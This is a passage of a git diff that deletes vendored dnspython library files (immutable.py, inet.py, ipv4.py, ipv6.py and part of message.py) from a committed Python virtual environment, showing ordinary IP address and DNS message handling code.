cur = "" - state = 1 - elif c == "/": - stop = int(cur) - cur = "" - state = 2 - elif c.isdigit(): - cur += c - else: - raise dns.exception.SyntaxError(f"Could not parse {c}") - - if state == 0: - raise dns.exception.SyntaxError("no stop value specified") - elif state == 1: - stop = int(cur) - else: - assert state == 2 - step = int(cur) - - assert step >= 1 - assert start >= 0 - if start > stop: - raise dns.exception.SyntaxError("start must be <= stop") - - return (start, stop, step) diff --git a/venv/Lib/site-packages/dns/immutable.py b/venv/Lib/site-packages/dns/immutable.py deleted file mode 100644 index 36b0362c75199bc1565ec7a8a2c76bbfa34c3637..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/immutable.py +++ /dev/null @@ -1,68 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import collections.abc -from typing import Any, Callable - -from dns._immutable_ctx import immutable - - -@immutable -class Dict(collections.abc.Mapping): # lgtm[py/missing-equals] - def __init__( - self, - dictionary: Any, - no_copy: bool = False, - map_factory: Callable[[], collections.abc.MutableMapping] = dict, - ): - """Make an immutable dictionary from the specified dictionary. - - If *no_copy* is `True`, then *dictionary* will be wrapped instead - of copied. Only set this if you are sure there will be no external - references to the dictionary. - """ - if no_copy and isinstance(dictionary, collections.abc.MutableMapping): - self._odict = dictionary - else: - self._odict = map_factory() - self._odict.update(dictionary) - self._hash = None - - def __getitem__(self, key): - return self._odict.__getitem__(key) - - def __hash__(self): # pylint: disable=invalid-hash-returned - if self._hash is None: - h = 0 - for key in sorted(self._odict.keys()): - h ^= hash(key) - object.__setattr__(self, "_hash", h) - # this does return an int, but pylint doesn't figure that out - return self._hash - - def __len__(self): - return len(self._odict) - - def __iter__(self): - return iter(self._odict) - - -def constify(o: Any) -> Any: - """ - Convert mutable types to immutable types. - """ - if isinstance(o, bytearray): - return bytes(o) - if isinstance(o, tuple): - try: - hash(o) - return o - except Exception: - return tuple(constify(elt) for elt in o) - if isinstance(o, list): - return tuple(constify(elt) for elt in o) - if isinstance(o, dict): - cdict = dict() - for k, v in o.items(): - cdict[k] = constify(v) - return Dict(cdict, True) - return o diff --git a/venv/Lib/site-packages/dns/inet.py b/venv/Lib/site-packages/dns/inet.py deleted file mode 100644 index 765203b352ba006450e185176a7f612ae153436d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/inet.py +++ /dev/null @@ -1,195 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""Generic Internet address helper functions.""" - -import socket -from typing import Any, Tuple - -import dns.ipv4 -import dns.ipv6 - -# We assume that AF_INET and AF_INET6 are always defined. We keep -# these here for the benefit of any old code (unlikely though that -# is!). -AF_INET = socket.AF_INET -AF_INET6 = socket.AF_INET6 - - -def inet_pton(family: int, text: str) -> bytes: - """Convert the textual form of a network address into its binary form. - - *family* is an ``int``, the address family. - - *text* is a ``str``, the textual address. - - Raises ``NotImplementedError`` if the address family specified is not - implemented. - - Returns a ``bytes``. - """ - - if family == AF_INET: - return dns.ipv4.inet_aton(text) - elif family == AF_INET6: - return dns.ipv6.inet_aton(text, True) - else: - raise NotImplementedError - - -def inet_ntop(family: int, address: bytes) -> str: - """Convert the binary form of a network address into its textual form. - - *family* is an ``int``, the address family. - - *address* is a ``bytes``, the network address in binary form. - - Raises ``NotImplementedError`` if the address family specified is not - implemented. - - Returns a ``str``. - """ - - if family == AF_INET: - return dns.ipv4.inet_ntoa(address) - elif family == AF_INET6: - return dns.ipv6.inet_ntoa(address) - else: - raise NotImplementedError - - -def af_for_address(text: str) -> int: - """Determine the address family of a textual-form network address. - - *text*, a ``str``, the textual address. - - Raises ``ValueError`` if the address family cannot be determined - from the input. - - Returns an ``int``. - """ - - try: - dns.ipv4.inet_aton(text) - return AF_INET - except Exception: - try: - dns.ipv6.inet_aton(text, True) - return AF_INET6 - except Exception: - raise ValueError - - -def is_multicast(text: str) -> bool: - """Is the textual-form network address a multicast address? - - *text*, a ``str``, the textual address. - - Raises ``ValueError`` if the address family cannot be determined - from the input. - - Returns a ``bool``. - """ - - try: - first = dns.ipv4.inet_aton(text)[0] - return first >= 224 and first <= 239 - except Exception: - try: - first = dns.ipv6.inet_aton(text, True)[0] - return first == 255 - except Exception: - raise ValueError - - -def is_address(text: str) -> bool: - """Is the specified string an IPv4 or IPv6 address? - - *text*, a ``str``, the textual address. - - Returns a ``bool``. - """ - - try: - dns.ipv4.inet_aton(text) - return True - except Exception: - try: - dns.ipv6.inet_aton(text, True) - return True - except Exception: - return False - - -def low_level_address_tuple(high_tuple: Tuple[str, int], af: int | None = None) -> Any: - """Given a "high-level" address tuple, i.e. - an (address, port) return the appropriate "low-level" address tuple - suitable for use in socket calls. - - If an *af* other than ``None`` is provided, it is assumed the - address in the high-level tuple is valid and has that af. If af - is ``None``, then af_for_address will be called. - """ - address, port = high_tuple - if af is None: - af = af_for_address(address) - if af == AF_INET: - return (address, port) - elif af == AF_INET6: - i = address.find("%") - if i < 0: - # no scope, shortcut! - return (address, port, 0, 0) - # try to avoid getaddrinfo() - addrpart = address[:i] - scope = address[i + 1 :] - if scope.isdigit(): - return (addrpart, port, 0, int(scope)) - try: - return (addrpart, port, 0, socket.if_nametoindex(scope)) - except AttributeError: # pragma: no cover (we can't really test this) - ai_flags = socket.AI_NUMERICHOST - ((*_, tup), *_) = socket.getaddrinfo(address, port, flags=ai_flags) - return tup - else: - raise NotImplementedError(f"unknown address family {af}") - - -def any_for_af(af): - """Return the 'any' address for the specified address family.""" - if af == socket.AF_INET: - return "0.0.0.0" - elif af == socket.AF_INET6: - return "::" - raise NotImplementedError(f"unknown address family {af}") - - -def canonicalize(text: str) -> str: - """Verify that *address* is a valid text form IPv4 or IPv6 address and return its - canonical text form. IPv6 addresses with scopes are rejected. - - *text*, a ``str``, the address in textual form. - - Raises ``ValueError`` if the text is not valid. - """ - try: - return dns.ipv6.canonicalize(text) - except Exception: - try: - return dns.ipv4.canonicalize(text) - except Exception: - raise ValueError diff --git a/venv/Lib/site-packages/dns/ipv4.py b/venv/Lib/site-packages/dns/ipv4.py deleted file mode 100644 index a7161bc791e9d008850f65b3ceeaceee49455b95..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/ipv4.py +++ /dev/null @@ -1,76 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""IPv4 helper functions.""" - -import struct - -import dns.exception - - -def inet_ntoa(address: bytes) -> str: - """Convert an IPv4 address in binary form to text form. - - *address*, a ``bytes``, the IPv4 address in binary form. - - Returns a ``str``. - """ - - if len(address) != 4: - raise dns.exception.SyntaxError - return f"{address[0]}.{address[1]}.{address[2]}.{address[3]}" - - -def inet_aton(text: str | bytes) -> bytes: - """Convert an IPv4 address in text form to binary form. - - *text*, a ``str`` or ``bytes``, the IPv4 address in textual form. - - Returns a ``bytes``. - """ - - if not isinstance(text, bytes): - btext = text.encode() - else: - btext = text - parts = btext.split(b".") - if len(parts) != 4: - raise dns.exception.SyntaxError - for part in parts: - if not part.isdigit(): - raise dns.exception.SyntaxError - if len(part) > 1 and part[0] == ord("0"): - # No leading zeros - raise dns.exception.SyntaxError - try: - b = [int(part) for part in parts] - return struct.pack("BBBB", *b) - except Exception: - raise dns.exception.SyntaxError - - -def canonicalize(text: str | bytes) -> str: - """Verify that *address* is a valid text form IPv4 address and return its - canonical text form. - - *text*, a ``str`` or ``bytes``, the IPv4 address in textual form. - - Raises ``dns.exception.SyntaxError`` if the text is not valid. - """ - # Note that inet_aton() only accepts canonial form, but we still run through - # inet_ntoa() to ensure the output is a str. - return inet_ntoa(inet_aton(text)) diff --git a/venv/Lib/site-packages/dns/ipv6.py b/venv/Lib/site-packages/dns/ipv6.py deleted file mode 100644 index eaa0f6c76f04927eaa454959013968dafc9ec779..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/ipv6.py +++ /dev/null @@ -1,217 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""IPv6 helper functions.""" - -import binascii -import re -from typing import List - -import dns.exception -import dns.ipv4 - -_leading_zero = re.compile(r"0+([0-9a-f]+)") - - -def inet_ntoa(address: bytes) -> str: - """Convert an IPv6 address in binary form to text form. - - *address*, a ``bytes``, the IPv6 address in binary form. - - Raises ``ValueError`` if the address isn't 16 bytes long. - Returns a ``str``. - """ - - if len(address) != 16: - raise ValueError("IPv6 addresses are 16 bytes long") - hex = binascii.hexlify(address) - chunks = [] - i = 0 - l = len(hex) - while i < l: - chunk = hex[i : i + 4].decode() - # strip leading zeros. we do this with an re instead of - # with lstrip() because lstrip() didn't support chars until - # python 2.2.2 - m = _leading_zero.match(chunk) - if m is not None: - chunk = m.group(1) - chunks.append(chunk) - i += 4 - # - # Compress the longest subsequence of 0-value chunks to :: - # - best_start = 0 - best_len = 0 - start = -1 - last_was_zero = False - for i in range(8): - if chunks[i] != "0": - if last_was_zero: - end = i - current_len = end - start - if current_len > best_len: - best_start = start - best_len = current_len - last_was_zero = False - elif not last_was_zero: - start = i - last_was_zero = True - if last_was_zero: - end = 8 - current_len = end - start - if current_len > best_len: - best_start = start - best_len = current_len - if best_len > 1: - if best_start == 0 and (best_len == 6 or best_len == 5 and chunks[5] == "ffff"): - # We have an embedded IPv4 address - if best_len == 6: - prefix = "::" - else: - prefix = "::ffff:" - thex = prefix + dns.ipv4.inet_ntoa(address[12:]) - else: - thex = ( - ":".join(chunks[:best_start]) - + "::" - + ":".join(chunks[best_start + best_len :]) - ) - else: - thex = ":".join(chunks) - return thex - - -_v4_ending = re.compile(rb"(.*):(\d+\.\d+\.\d+\.\d+)$") -_colon_colon_start = re.compile(rb"::.*") -_colon_colon_end = re.compile(rb".*::$") - - -def inet_aton(text: str | bytes, ignore_scope: bool = False) -> bytes: - """Convert an IPv6 address in text form to binary form. - - *text*, a ``str`` or ``bytes``, the IPv6 address in textual form. - - *ignore_scope*, a ``bool``. If ``True``, a scope will be ignored. - If ``False``, the default, it is an error for a scope to be present. - - Returns a ``bytes``. - """ - - # - # Our aim here is not something fast; we just want something that works. - # - if not isinstance(text, bytes): - btext = text.encode() - else: - btext = text - - if ignore_scope: - parts = btext.split(b"%") - l = len(parts) - if l == 2: - btext = parts[0] - elif l > 2: - raise dns.exception.SyntaxError - - if btext == b"": - raise dns.exception.SyntaxError - elif btext.endswith(b":") and not btext.endswith(b"::"): - raise dns.exception.SyntaxError - elif btext.startswith(b":") and not btext.startswith(b"::"): - raise dns.exception.SyntaxError - elif btext == b"::": - btext = b"0::" - # - # Get rid of the icky dot-quad syntax if we have it. - # - m = _v4_ending.match(btext) - if m is not None: - b = dns.ipv4.inet_aton(m.group(2)) - btext = ( - f"{m.group(1).decode()}:{b[0]:02x}{b[1]:02x}:{b[2]:02x}{b[3]:02x}" - ).encode() - # - # Try to turn '::' into ':'; if no match try to - # turn '::' into ':' - # - m = _colon_colon_start.match(btext) - if m is not None: - btext = btext[1:] - else: - m = _colon_colon_end.match(btext) - if m is not None: - btext = btext[:-1] - # - # Now canonicalize into 8 chunks of 4 hex digits each - # - chunks = btext.split(b":") - l = len(chunks) - if l > 8: - raise dns.exception.SyntaxError - seen_empty = False - canonical: List[bytes] = [] - for c in chunks: - if c == b"": - if seen_empty: - raise dns.exception.SyntaxError - seen_empty = True - for _ in range(0, 8 - l + 1): - canonical.append(b"0000") - else: - lc = len(c) - if lc > 4: - raise dns.exception.SyntaxError - if lc != 4: - c = (b"0" * (4 - lc)) + c - canonical.append(c) - if l < 8 and not seen_empty: - raise dns.exception.SyntaxError - btext = b"".join(canonical) - - # - # Finally we can go to binary. - # - try: - return binascii.unhexlify(btext) - except (binascii.Error, TypeError): - raise dns.exception.SyntaxError - - -_mapped_prefix = b"\x00" * 10 + b"\xff\xff" - - -def is_mapped(address: bytes) -> bool: - """Is the specified address a mapped IPv4 address? - - *address*, a ``bytes`` is an IPv6 address in binary form. - - Returns a ``bool``. - """ - - return address.startswith(_mapped_prefix) - - -def canonicalize(text: str | bytes) -> str: - """Verify that *address* is a valid text form IPv6 address and return its - canonical text form. Addresses with scopes are rejected. - - *text*, a ``str`` or ``bytes``, the IPv6 address in textual form. - - Raises ``dns.exception.SyntaxError`` if the text is not valid. - """ - return inet_ntoa(inet_aton(text)) diff --git a/venv/Lib/site-packages/dns/message.py b/venv/Lib/site-packages/dns/message.py deleted file mode 100644 index bbfccfc7ad0e9efd1733d5a5358593d125932a9b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/message.py +++ /dev/null @@ -1,1954 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2001-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS Messages""" - -import contextlib -import enum -import io -import time -from typing import Any, Dict, List, Tuple, cast - -import dns.edns -import dns.entropy -import dns.enum -import dns.exception -import dns.flags -import dns.name -import dns.opcode -import dns.rcode -import dns.rdata -import dns.rdataclass -import dns.rdatatype -import dns.rdtypes.ANY.OPT -import dns.rdtypes.ANY.SOA -import dns.rdtypes.ANY.TSIG -import dns.renderer -import dns.rrset -import dns.tokenizer -import dns.tsig -import dns.ttl -import dns.wire - - -class ShortHeader(dns.exception.FormError): - """The DNS packet passed to from_wire() is too short.""" - - -class TrailingJunk(dns.exception.FormError): - """The DNS packet passed to from_wire() has extra junk at the end of it.""" - - -class UnknownHeaderField(dns.exception.DNSException): - """The header field name was not recognized when converting from text - into a message.""" - - -class BadEDNS(dns.exception.FormError): - """An OPT record occurred somewhere other than - the additional data section.""" - - -class BadTSIG(dns.exception.FormError): - """A TSIG record occurred somewhere other than the end of - the additional data section.""" - - -class UnknownTSIGKey(dns.exception.DNSException): - """A TSIG with an unknown key was received.""" - - -class Truncated(dns.exception.DNSException): - """The truncated flag is set.""" - - supp_kwargs = {"message"} - - # We do this as otherwise mypy complains about unexpected keyword argument - # idna_exception - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - def message(self): - """As much of the message as could be processed. - - Returns a ``dns.message.Message``. - """ - return self.kwargs["message"] - - -class NotQueryResponse(dns.exception.DNSException): - """Message is not a response to a query.""" - - -class ChainTooLong(dns.exception.DNSException): - """The CNAME chain is too long.""" - - -class AnswerForNXDOMAIN(dns.exception.DNSException): - """The rcode is NXDOMAIN but an answer was found.""" - - -class NoPreviousName(dns.exception.SyntaxError): - """No previous name was known.""" - - -class MessageSection(dns.enum.IntEnum): - """Message sections""" - - QUESTION = 0 - ANSWER = 1 - AUTHORITY = 2 - ADDITIONAL = 3 - - @classmethod - def _maximum(cls): - return 3 - - -class MessageError: - def __init__(self, exception: Exception, offset: int): - self.exception = exception - self.offset = offset - - -DEFAULT_EDNS_PAYLOAD = 1232 -MAX_CHAIN = 16 - -IndexKeyType = Tuple[ - int, - dns.name.Name, - dns.rdataclass.RdataClass, - dns.rdatatype.RdataType, - dns.rdatatype.RdataType | None, - dns.rdataclass.RdataClass | None, -] -IndexType = Dict[IndexKeyType, dns.rrset.RRset] -SectionType = int | str | List[dns.rrset.RRset] - - -class Message: - """A DNS message.""" - - _section_enum = MessageSection - - def __init__(self, id: int | None = None): - if id is None: - self.id = dns.entropy.random_16() - else: - self.id = id - self.flags = 0 - self.sections: List[List[dns.rrset.RRset]] = [[], [], [], []] - self.opt: dns.rrset.RRset | None = None - self.request_payload = 0 - self.pad = 0 - self.keyring: Any = None - self.tsig: dns.rrset.RRset | None = None - self.want_tsig_sign = False - self.request_mac = b"" - self.xfr = False - self.origin: dns.name.Name | None = None - self.tsig_ctx: Any | None = None - self.index: IndexType = {} - self.errors: List[MessageError] = [] - self.time = 0.0 - self.wire: bytes | None = None - - @property - def question(self) -> List[dns.rrset.RRset]: - """The question section.""" - return self.sections[0] - - @question.setter - def question(self, v): - self.sections[0] = v - - @property - def answer(self) -> List[dns.rrset.RRset]: - """The answer section.""" - return self.sections[1] - - @answer.setter - def answer(self, v): - self.sections[1] = v - - @property - def authority(self) -> List[dns.rrset.RRset]: - """The authority section.""" - return self.sections[2] - - @authority.setter - def authority(self, v): - self.sections[2] = v - - @property - def additional(self) -> List[dns.rrset.RRset]: - """The additional data section.""" - return self.sections[3] - - @additional.setter - def additional(self, v): - self.sections[3] = v - - def __repr__(self): - return "" - - def __str__(self): - return self.to_text() - - def to_text( - self, - origin: dns.name.Name | None = None, - relativize: bool = True, - **kw: Dict[str, Any], - ) -> str: - """Convert the message to text. - - The *origin*, *relativize*, and any other keyword - arguments are passed to the RRset ``to_wire()`` method. - - Returns a ``str``. - """ - - s = io.StringIO() - s.write(f"id {self.id}\n") - s.write(f"opcode {dns.opcode.to_text(self.opcode())}\n") - s.write(f"rcode {dns.rcode.to_text(self.rcode())}\n") - s.write(f"flags {dns.flags.to_text(self.flags)}\n") - if self.edns >= 0: - s.write(f"edns {self.edns}\n") - if self.ednsflags != 0: - s.write(f"eflags {dns.flags.edns_to_text(self.ednsflags)}\n") - s.write(f"payload {self.payload}\n") - for opt in self.options: - s.write(f"option {opt.to_text()}\n") - for name, which in self._section_enum.__members__.items(): - s.write(f";{name}\n") - for rrset in self.section_from_number(which): - s.write(rrset.to_text(origin, relativize, **kw)) - s.write("\n") - if self.tsig is not None: - s.write(self.tsig.to_text(origin, relativize, **kw)) - s.write("\n") - # - # We strip off the final \n so the caller can print the result without - # doing weird things to get around eccentricities in Python print - # formatting - # - return s.getvalue()[:-1] - - def __eq__(self, other): - """Two messages are equal if they have the same content in the - header, question, answer, and authority sections. - - Returns a ``bool``. - """ - - if not isinstance(other, Message): - return False - if self.id != other.id: - return False - if self.flags != other.flags: - return False - for i, section in enumerate(self.sections): - other_section = other.sections[i] - for n in section: - if n not in other_section: - return False - for n in other_section: - if n not in section: - return False - return True - - def __ne__(self, other): - return not self.__eq__(other) - - def is_response(self, other: "Message") -> bool: - """Is *other*, also a ``dns.message.Message``, a response to this - message? - - Returns a ``bool``. - """ - - if ( - other.flags & dns.flags.QR == 0 - or self.id != other.id - or dns.opcode.from_flags(self.flags) != dns.opcode.from_flags(other.flags) - ): - return False - if other.rcode() in { - dns.rcode.FORMERR, - dns.rcode.SERVFAIL, - dns.rcode.NOTIMP, - dns.rcode.REFUSED, - }: - # We don't check the question section in these cases if - # the other question section is empty, even though they - # still really ought to have a question section. - if len(other.question) == 0: - return True - if dns.opcode.is_update(self.flags): - # This is assuming the "sender doesn't include anything - # from the update", but we don't care to check the other - # case, which is that all the sections are returned and - # identical. - return True - for n in self.question: - if n not in other.question: - return False - for n in other.question: - if n not in self.question: - return False - return True - - def section_number(self, section: List[dns.rrset.RRset]) -> int: - """Return the "section number" of the specified section for use - in indexing. - - *section* is one of the section attributes of this message. - - Raises ``ValueError`` if the section isn't known. - - Returns an ``int``. - """ - - for i, our_section in enumerate(self.sections): - if section is our_section: - return self._section_enum(i) - raise ValueError("unknown section") - - def section_from_number(self, number: int) -> List[dns.rrset.RRset]: - """Return the section list associated with the specified section - number. - - *number* is a section number `int` or the text form of a section - name. - - Raises ``ValueError`` if the section isn't known. - - Returns a ``list``. - """ - - section = self._section_enum.make(number) - return self.sections[section] - - def find_rrset( - self, - section: SectionType, - name: dns.name.Name, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - deleting: dns.rdataclass.RdataClass | None = None, - create: bool = False, - force_unique: bool = False, - idna_codec: dns.name.IDNACodec | None = None, - ) -> dns.rrset.RRset: - """Find the RRset with the given attributes in the specified section. - - *section*, an ``int`` section number, a ``str`` section name, or one of - the section attributes of this message. This specifies the - the section of the message to search. For example:: - - my_message.find_rrset(my_message.answer, name, rdclass, rdtype) - my_message.find_rrset(dns.message.ANSWER, name, rdclass, rdtype) - my_message.find_rrset("ANSWER", name, rdclass, rdtype) - - *name*, a ``dns.name.Name`` or ``str``, the name of the RRset. - - *rdclass*, an ``int`` or ``str``, the class of the RRset. - - *rdtype*, an ``int`` or ``str``, the type of the RRset. - - *covers*, an ``int`` or ``str``, the covers value of the RRset. - The default is ``dns.rdatatype.NONE``. - - *deleting*, an ``int``, ``str``, or ``None``, the deleting value of the - RRset. The default is ``None``. - - *create*, a ``bool``. If ``True``, create the RRset if it is not found. - The created RRset is appended to *section*. - - *force_unique*, a ``bool``. If ``True`` and *create* is also ``True``, - create a new RRset regardless of whether a matching RRset exists - already. The default is ``False``. This is useful when creating - DDNS Update messages, as order matters for them. - - *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA - encoder/decoder. If ``None``, the default IDNA 2003 encoder/decoder - is used. - - Raises ``KeyError`` if the RRset was not found and create was - ``False``. - - Returns a ``dns.rrset.RRset object``. - """ - - if isinstance(section, int): - section_number = section - section = self.section_from_number(section_number) - elif isinstance(section, str): - section_number = self._section_enum.from_text(section) - section = self.section_from_number(section_number) - else: - section_number = self.section_number(section) - if isinstance(name, str): - name = dns.name.from_text(name, idna_codec=idna_codec) - rdtype = dns.rdatatype.RdataType.make(rdtype) - rdclass = dns.rdataclass.RdataClass.make(rdclass) - covers = dns.rdatatype.RdataType.make(covers) - if deleting is not None: - deleting = dns.rdataclass.RdataClass.make(deleting) - key = (section_number, name, rdclass, rdtype, covers, deleting) - if not force_unique: - if self.index is not None: - rrset = self.index.get(key) - if rrset is not None: - return rrset - else: - for rrset in section: - if rrset.full_match(name, rdclass, rdtype, covers, deleting): - return rrset - if not create: - raise KeyError - rrset = dns.rrset.RRset(name, rdclass, rdtype, covers, deleting) - section.append(rrset) - if self.index is not None: - self.index[key] = rrset - return rrset - - def get_rrset( - self, - section: SectionType, - name: dns.name.Name, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - deleting: dns.rdataclass.RdataClass | None = None, - create: bool = False, - force_unique: bool = False, - idna_codec: dns.name.IDNACodec | None = None, - ) -> dns.rrset.RRset | None: - """Get the RRset with the given attributes in the specified section. - - If the RRset is not found, None is returned. - - *section*, an ``int`` section number, a ``str`` section name, or one of - the section attributes of this message. This specifies the - the section of the message to search. For example:: - - my_message.get_rrset(my_message.answer, name, rdclass, rdtype) - my_message.get_rrset(dns.message.ANSWER, name, rdclass, rdtype) - my_message.get_rrset("ANSWER", name, rdclass, rdtype) - - *name*, a ``dns.name.Name`` or ``str``, the name of the RRset. - - *rdclass*, an ``int`` or ``str``, the class of the RRset. - - *rdtype*, an ``int`` or ``str``, the type of the RRset. - - *covers*, an ``int`` or ``str``, the covers value of the RRset. - The default is ``dns.rdatatype.NONE``. - - *deleting*, an ``int``, ``str``, or ``None``, the deleting value of the - RRset. The default is ``None``. - - *create*, a ``bool``. If ``True``, create the RRset if it is not found. - The created RRset is appended to *section*. - - *force_unique*, a ``bool``. If ``True`` and *create* is also ``True``, - create a new RRset regardless of whether a matching RRset exists - already. The default is ``False``. This is useful when creating - DDNS Update messages, as order matters for them. - - *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA - encoder/decoder. If ``None``, the default IDNA 2003 encoder/decoder - is used. - - Returns a ``dns.rrset.RRset object`` or ``None``. - """ - - try: - rrset = self.find_rrset( - section, - name, - rdclass, - rdtype, - covers, - deleting, - create, - force_unique, - idna_codec, - ) - except KeyError: - rrset = None - return rrset - - def section_count(self, section: SectionType) -> int: - """Returns the number of records in the specified section. - - *section*, an ``int`` section number, a ``str`` section name, or one of - the section attributes of this message. This specifies the - the section of the message to count. For example:: - - my_message.section_count(my_message.answer) - my_message.section_count(dns.message.ANSWER) - my_message.section_count("ANSWER") - """ - - if isinstance(section, int): - section_number = section - section = self.section_from_number(section_number) - elif isinstance(section, str): - section_number = self._section_enum.from_text(section) - section = self.section_from_number(section_number) - else: - section_number = self.section_number(section) - count = sum(max(1, len(rrs)) for rrs in section) - if section_number == MessageSection.ADDITIONAL: - if self.opt is not None: - count += 1 - if self.tsig is not None: - count += 1 - return count - - def _compute_opt_reserve(self) -> int: - """Compute the size required for the OPT RR, padding excluded""" - if not self.opt: - return 0 - # 1 byte for the root name, 10 for the standard RR fields - size = 11 - # This would be more efficient if options had a size() method, but we won't - # worry about that for now. We also don't worry if there is an existing padding - # option, as it is unlikely and probably harmless, as the worst case is that we - # may add another, and this seems to be legal. - opt_rdata = cast(dns.rdtypes.ANY.OPT.OPT, self.opt[0]) - for option in opt_rdata.options: - wire = option.to_wire() - # We add 4 here to account for the option type and length - size += len(wire) + 4 - if self.pad: - # Padding will be added, so again add the option type and length. - size += 4 - return size - - def _compute_tsig_reserve(self) -> int: - """Compute the size required for the TSIG RR""" - # This would be more efficient if TSIGs had a size method, but we won't - # worry about for now. Also, we can't really cope with the potential - # compressibility of the TSIG owner name, so we estimate with the uncompressed - # size. We will disable compression when TSIG and padding are both is active - # so that the padding comes out right. - if not self.tsig: - return 0 - f = io.BytesIO() - self.tsig.to_wire(f) - return len(f.getvalue()) - - def to_wire( - self, - origin: dns.name.Name | None = None, - max_size: int = 0, - multi: bool = False, - tsig_ctx: Any | None = None, - prepend_length: bool = False, - prefer_truncation: bool = False, - **kw: Dict[str, Any], - ) -> bytes: - """Return a string containing the message in DNS compressed wire - format. - - Additional keyword arguments are passed to the RRset ``to_wire()`` - method. - - *origin*, a ``dns.name.Name`` or ``None``, the origin to be appended - to any relative names. If ``None``, and the message has an origin - attribute that is not ``None``, then it will be used. - - *max_size*, an ``int``, the maximum size of the wire format - output; default is 0, which means "the message's request - payload, if nonzero, or 65535". - - *multi*, a ``bool``, should be set to ``True`` if this message is - part of a multiple message sequence. - - *tsig_ctx*, a ``dns.tsig.HMACTSig`` or ``dns.tsig.GSSTSig`` object, the - ongoing TSIG context, used when signing zone transfers. - - *prepend_length*, a ``bool``, should be set to ``True`` if the caller - wants the message length prepended to the message itself. This is - useful for messages sent over TCP, TLS (DoT), or QUIC (DoQ). - - *prefer_truncation*, a ``bool``, should be set to ``True`` if the caller - wants the message to be truncated if it would otherwise exceed the - maximum length. If the truncation occurs before the additional section, - the TC bit will be set. - - Raises ``dns.exception.TooBig`` if *max_size* was exceeded. - - Returns a ``bytes``. - """ - - if origin is None and self.origin is not None: - origin = self.origin - if max_size == 0: - if self.request_payload != 0: - max_size = self.request_payload - else: - max_size = 65535 - if max_size < 512: - max_size = 512 - elif max_size > 65535: - max_size = 65535 - r = dns.renderer.Renderer(self.id, 